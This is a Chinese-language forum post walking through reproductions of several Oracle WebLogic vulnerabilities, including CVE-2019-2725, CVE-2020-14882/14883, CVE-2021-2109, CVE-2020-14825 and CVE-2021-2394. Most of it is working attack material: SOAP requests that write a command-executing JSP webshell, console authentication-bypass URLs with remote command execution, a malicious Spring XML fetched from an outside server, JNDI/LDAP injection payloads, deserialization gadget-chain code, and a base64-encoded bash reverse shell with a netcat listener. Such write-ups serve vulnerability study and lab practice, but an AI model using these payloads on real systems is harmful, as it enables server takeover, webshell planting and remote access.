WebLogic 漏洞复现

Track-mss   ·   发表于 2021-08-24 19:43:35   ·   CTF&WP专版

0x01 WebLogic XMLDecoder 反序列化漏洞

进入网站,看到404页面便表示环境正常(也可尝试访问/wls-wsat/CoordinatorPortType查看漏洞页面是否存在):

此处我们进行上传文件的操作(可直接用来写shell)。首先用burpsuite抓包,POST数据

最后访问上传文件的位置,即/wls-wsat/test.txt,可成功看到文件内容。

POC(POST包中的数据)

  1. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  2. <soapenv:Header>
  3. <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
  4. <java version="1.6.0" class="java.beans.XMLDecoder">
  5. <object class="java.io.PrintWriter">
  6. <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println">
  7. <string>Successful</string></void><void method="close"/>
  8. </object>
  9. </java>
  10. </work:WorkContext>
  11. </soapenv:Header>
  12. <soapenv:Body/>
  13. </soapenv:Envelope>

0x02 Weblogic反序列化远程代码执行漏洞(CVE-2019-2725)

访问http://xxxxx/_async/AsyncResponseService/ 页面,若出现以下状况,则可能存在漏洞。

用下方直接给出POC,复制到burpsuite的Repeater中使用(需要更改host)。

执行完后直接访问:
http://xxxxxx/_async/webshell.jsp?pwd=123&cmd=whoami


POC:

  1. POST /_async/AsyncResponseService HTTP/1.1
  2. Host: ip:port
  3. Content-Length: 1142
  4. Accept-Encoding: gzip, deflate
  5. SOAPAction:
  6. Accept: */*
  7. User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
  8. Connection: keep-alive
  9. content-type: text/xml
  10. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.xmlDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string><void method="println"><string><![CDATA[
  11. <%
  12. if("123".equals(request.getParameter("pwd"))){
  13. java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
  14. int a = -1;
  15. byte[] b = new byte[1024];
  16. out.print("<pre>");
  17. while((a=in.read(b))!=-1){
  18. out.println(new String(b));
  19. }
  20. out.print("</pre>");
  21. }
  22. %>]]>
  23. </string></void><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

0x03 Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)

首先测试权限绕过漏洞(CVE-2020-14882),访问以下URL,即可未授权访问到管理后台页面(可能要多次尝试):

http://[靶场url]/console/css/%252e%252e%252fconsole.portal

访问后台后,可以发现我们现在是低权限的用户,无法安装应用,所以也无法直接执行任意代码:

此时需要利用到第二个漏洞CVE-2020-14883。这个漏洞的利用方式有两种,一是通过com.tangosol.coherence.mvel2.sh.ShellSession,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext。

直接访问如下URL,即可利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令:

http://[靶场url]/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1‘);”)
进入容器,可以发现touch /tmp/success1已成功执行:

这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更为通杀的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。

首先,我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,如http://example.com/rce.xml:

  1. <?xml version="1.0" encoding="UTF-8" ?>
  2. <beans xmlns="http://www.springframework.org/schema/beans"
  3. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  4. xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  5. <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
  6. <constructor-arg>
  7. <list>
  8. <value>bash</value>
  9. <value>-c</value>
  10. <value><![CDATA[touch /tmp/success2]]></value>
  11. </list>
  12. </constructor-arg>
  13. </bean>
  14. </beans>

然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:

  1. http://[靶场url]/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")


这个利用方法也有自己的缺点,就是需要Weblogic的服务器能够访问到恶意XML。

0x04 Weblogic Server远程代码执行漏洞复现(CVE-2021-2109 )

适用范围:

Weblogic Server 10.3.6.0.0
Weblogic Server 12.1.3.0.0
Weblogic Server 12.2.1.3.0
Weblogic Server 12.2.1.4.0
Weblogic Server 14.1.1.0.0

操作步骤:

1 攻击环境准备

需要一台公网服务器,假设ip为:123.123.123.123
下载exp:https://github.com/feihong-cs/JNDIExploit/releases/download/v.1.11/JNDIExploit.v1.11.zip
服务器上执行

  1. java -jar JNDIExploit-v1.11.jar -i 123.123.123.123

2 构造数据包

结合CVE-2020-14882的未授权访问漏洞,访问目标的http://weblogic.vdb.aqlab.cn/console/css/%252e%252e%252f/consolejndi.portal页面,把get包转换为post包,,内容为:_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://123.123.123;123:1389/Basic/WeblogicEcho;AdminServer%22)
**注意:id地址写法为:123.123.123;123

全部内容如下,请注意细节

  1. POST /console/css/%252e%252e%252f/consolejndi.portal HTTP/1.1
  2. Host: 目标地址
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
  8. cmd:指令
  9. Cookie: ADMINCONSOLESESSION=YEBoe53yuwd3oGqHRg8WmE9Hq4CvspjcmuapEnNrKyod3MO5Zz5y!-549917897
  10. Upgrade-Insecure-Requests: 1
  11. Content-Type: application/x-www-form-urlencoded
  12. Content-Length: 175
  13. _pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://你的服务器:1389/Basic/WeblogicEcho;AdminServer%22)

0x05 Weblogic反序列化漏洞复现(CVE-2020-14825)

0x01 简介

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。WebLogic是商业市场上主要的Java(J2EE)应用服务器软件(application server)之一,是世界上第一个成功商业化的J2EE应用服务器,具有可扩展性,快速开发,灵活,可靠性等优势。

0x02 漏洞概述

此漏洞在Oracle官方在2020年10月份发布的最新安全补丁中披露。该漏洞允许未经身份验证的攻击者通过IIOP,T3进行网络访问,未经身份验证的攻击者成功利用此漏洞可能接管Oracle WebLogic Server。CVSS评分9.8。

0x03 影响版本

Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 14.1.1.0.0

0x04 复现

注意所有地址都 不要用 127.0.0.1,否则影响成功率
注意所有地址都 不要用 127.0.0.1,否则影响成功率
注意所有地址都 不要用 127.0.0.1,否则影响成功率
部分文件的生成需要导入外部jar包,相关文件附件自取,导入方法自行百度
1、新建文件 Exp.java

  1. public class Exp {
  2. // POC open calc
  3. public Exp(){
  4. try{
  5. Runtime.getRuntime().exec("calc.exe");
  6. }catch (Exception e){
  7. e.printStackTrace();
  8. }
  9. }
  10. public static void main(String[] args){
  11. Exp e = new Exp();
  12. }
  13. }

使用javac exp.java 生成 exp.class文件,使用sudo python3 -m http.server 80开启服务器环境

2、准备文件 CVE_2020_14825.java,生成cve_2020_14825.ser
这一步编译文件需要ysoserial-master-d367e379d9-1.jarddmp-webservice-fmwclient-12.2.1.3.jarcoherence.jar三个文件

  1. import com.sun.rowset.JdbcRowSetImpl;
  2. import com.tangosol.util.comparator.ExtractorComparator;
  3. import oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor;
  4. import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor;
  5. import ysoserial.payloads.util.Reflections;
  6. import java.io.*;
  7. import java.util.PriorityQueue;
  8. public class CVE_2020_14825 {
  9. public static void main(String[] args) throws Exception {
  10. MethodAttributeAccessor accessor = new MethodAttributeAccessor();
  11. accessor.setAttributeName("Timeline Sec");
  12. accessor.setIsWriteOnly(true);
  13. accessor.setGetMethodName("getDatabaseMetaData");
  14. // accessor.setGetMethodName("connect");
  15. LockVersionExtractor extractor = new LockVersionExtractor(accessor,"");
  16. JdbcRowSetImpl jdbcRowSet = Reflections.createWithoutConstructor(com.sun.rowset.JdbcRowSetImpl.class);
  17. jdbcRowSet.setDataSourceName("ldap://192.168.159.128:1389/#Exp");
  18. PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(extractor));
  19. Reflections.setFieldValue(queue,"size",2);
  20. Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue"));
  21. queueArray[0] = jdbcRowSet;
  22. ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(new File("cve_2020_14825.ser")));
  23. out.writeObject(queue);
  24. out.flush();
  25. out.close();
  26. // readObject();
  27. }
  28. public static void readObject() {
  29. FileInputStream fis = null;
  30. try {
  31. fis = new FileInputStream(new File("").getAbsolutePath() + "/cve_2020_14825.ser");
  32. ObjectInputStream ois = new ObjectInputStream(fis);
  33. ois.readObject();
  34. } catch (Exception e) {
  35. e.printStackTrace();
  36. }
  37. }
  38. }

执行 java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://192.168.159.128/#Exp 1389

3、从https://github.com/rufherg/WebLogic_Basic_Poc获取poc 文件,执行 sudo python3 1.py -u 192.168.159.130 -p 7001 -f cve_2020_14825.ser即可

0x06 Weblogic反序列化漏洞分析(CVE-2021-2394)

0x01 简介

WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。

0x02 漏洞概述

Oracle官方发布了2021年7月份安全更新通告,通告中披露了WebLogic组件存在高危漏洞,攻击者可以在未授权的情况下通过IIOP、T3协议对存在漏洞的WebLogic Server组件进行攻击。成功利用该漏洞的攻击者可以接管WebLogic Server。

这是一个二次反序列化漏洞,是CVE-2020-14756和CVE-2020-14825的调用链相结合组成一条新的调用链来绕过weblogic黑名单列表。

0x03 影响版本

Oracle WebLogic Server 10.3.6.0.0

Oracle WebLogic Server 12.1.3.0.0

Oracle WebLogic Server 12.2.1.3.0

Oracle WebLogic Server 12.2.1.4.0

Oracle WebLogic Server 14.1.1.0.0

0x04 复现

工具准备:

  1. # marshalsec
  2. https://github.com/mbechler/marshalsec # 需要自己编译
  3. mvn clean package DskipTests
  4. https://github.com/RandomRobbieBF/marshalsec-jar # 可以直接使用
  5. #CVE_2021_2394.jar
  6. https://github.com/lz2y/CVE-2021-2394/releases/tag/2.0

创建Exploit.java,通过javac编译得到Exploit.class

  1. # win
  2. public class Exploit {
  3. static {
  4. System.err.println("Pwned");
  5. try {
  6. String cmds = "cale";
  7. Runtime.getRuntime().exec(cmds);
  8. } catch ( Exception e ) {
  9. e.printStackTrace();
  10. }
  11. }
  12. }

首先将bash -i >& /dev/tcp/192.168.174.143/7777 0>&1 进行base64编码

  1. # linux
  2. public class Exploit{
  3. public Exploit(){
  4. try{
  5. Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xNDMvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}");
  6. }catch(Exception e){
  7. e.printStackTrace();
  8. }
  9. }
  10. public static void main(String[] argv){
  11. Exploit e = new Exploit();
  12. }
  13. }

执行javac Exploit.java得到Exploit.class

在同目录下使用python开启一个http服务,并使用marshalsec开启JNDI服务

  1. python3 -m http.server 8000
  2. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.174.143:8000/#Exploit" 8087

开启监听nc -lvnp 7777

运行

  1. java -jar CVE_2021_2394.jar 192.168.174.143 7001 ldap://192.168.174.143:8087/Exploit

打赏我,让我更有动力~

1 条回复   |  直到 2021-10-19 | 2540 次浏览

yangroupaomo
发表于 2021-10-19

附件怎么没有

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.